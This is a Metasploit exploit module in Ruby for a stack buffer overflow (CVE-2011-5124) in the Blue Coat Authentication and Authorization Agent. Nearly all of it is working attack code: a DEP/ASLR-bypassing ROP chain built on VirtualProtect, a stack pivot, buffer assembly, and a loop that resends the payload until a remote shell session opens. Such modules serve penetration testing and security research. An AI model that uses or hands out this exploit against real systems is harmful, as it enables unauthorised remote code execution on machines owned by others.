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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "Blue Coat Authentication and Authorization Agent (BCAAA) 5 Buffer Overflow",
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in process bcaaa-130.exe (port 16102),
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        which comes as part of the Blue Coat Authentication proxy.  Please note that by default,
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        this exploit will attempt up to three times in order to successfully gain remote code
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        execution (in some cases, it takes as many as five times).  This can cause your activity
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        to look even more suspicious.  To modify the number of exploit attempts, set the
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        ATTEMPTS option.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Paul Harrington', # Initial discovery and PoC
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          'Travis Warren',   # MSF Module with Universal DEP/ASLR bypass
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          'sinn3r',          # More testing / reliability, plus minor changes
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        ],
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      'References'     =>
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        [
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          [ 'CVE', '2011-5124' ],
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          [ 'OSVDB', '72095'],
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          [ 'URL', 'https://kb.bluecoat.com/index?page=content&id=SA55' ],
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          [ 'URL', 'https://seclists.org/bugtraq/2011/Jul/44' ]
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        ],
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      'Payload'        =>
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        {
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          'Space'    => 936,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'BCAAA Version 5.4.6.1.54128', {} ],
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2011-04-04',
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      'DefaultTarget'  => 0))
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      register_options(
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        [
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          Opt::RPORT(16102),
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          OptInt.new("ATTEMPTS", [true, "Number of attempts to try to exploit", 3]),
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        ])
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  end
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  def junk
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    return rand_text(4).unpack("L")[0].to_i
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  end
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  def exploit
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    rop_gadgets = [
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      # rop chain generated with mona.py
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      0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
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      0x7c37a140,  # Make EAX readable
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      0x7c37591f,  # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
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      junk,        # EBP (filler)
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      0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
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      0x7c37a140,  # <- *&VirtualProtect()
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      0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
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      0x7c346c0b,  # Slide, so next gadget would write to correct stack location
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      0x7c376069,  # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
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      junk,        # EDI (filler)
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      junk,        # will be patched at runtime (VP), then picked up into ESI
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      junk,        # EBX (filler)
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      0x7c376402,  # POP EBP # RETN (msvcr71.dll)
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      0x7c345c30,  # ptr to 'push esp #  ret ' (from MSVCR71.dll)
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      0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
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      0xfffffdff,  # size 0x00000201 -> ebx, modify if needed
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      0x7c351e05,  # NEG EAX # RETN (MSVCR71.dll)
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      0x7c354901,  # POP EBX # RETN (MSVCR71.dll)
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      0xffffffff,  # pop value into ebx
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      0x7c345255,  # INC EBX # FPATAN # RETN (MSVCR71.dll)
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      0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
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      0x7c34d201,  # POP ECX # RETN (MSVCR71.dll)
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      0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
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      0x7c34b8d7,  # POP EDI # RETN (MSVCR71.dll)
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      0x7c34b8d8,  # ROP NOP (-> edi)
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      0x7c344f87,  # POP EDX # RETN (MSVCR71.dll)
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      0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
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      0x7c351eb1,  # NEG EDX # RETN (MSVCR71.dll)
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      0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
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      0x90909090,  # NOPS (-> eax)
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      0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
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    ].pack("V*")
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    pivot = [
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      0x7C3410C4,  # RETN (MSVCR71.dll)
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      0x1003800C,  # PUSH ESP; POP EBX; POP EBP; RETN (SmAgentAPI.dll)
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      0x4241467D,  # EBP
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      0x7C3C8937,  # XCHG EAX,EBP; RETN (MSVCP71.dll)
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      0x7C3417D2,  # SUB EAX,EAX; RETN (MSVCR71.dll)
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      0x7C3C8937,  # XCHG EAX,EBP; RETN (MSVCP71.dll)
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      0x7C34f6C2,  # MOV EAX, EBX; POP EBX; RETN (MSVCR71.dll)
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      junk,        # EBX
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      0x7C3C8937,  # XCHG EAX,EBP; RETN (MSVCP71.dll)
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      0x5D02D0A0,  # SUB EBP,EAX; RETN (MSVCR70.dll)
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      0x7C3C8937,  # XCHG EAX,EBP; RETN (MSVCP71.dll)
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      0x7C3B5080,  # XCHG EAX,ESP; RETN (MSVCP71.dll)
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    ].pack("V*")
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    attempts = datastore['ATTEMPTS']
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    #Sometimes a few attempts are needed to get a shell back (3 or 5 times)
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    attempts.times do |i|
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      #If we have a session on the box already, then we don't continue trying
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      break if session_created?
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      buffer =  rand_text(8)
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      buffer << rop_gadgets
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      buffer << payload.encoded
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      buffer << 'EBAB'
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      buffer << rand_text(8)
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      buffer << pivot
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      connect
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      print_status("Sending request to #{rhost}. Attempt ##{(i+1).to_s}...")
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      sock.put(buffer)
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      handler
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      select(nil, nil, nil, 2)
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      disconnect
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    end
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  end
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end
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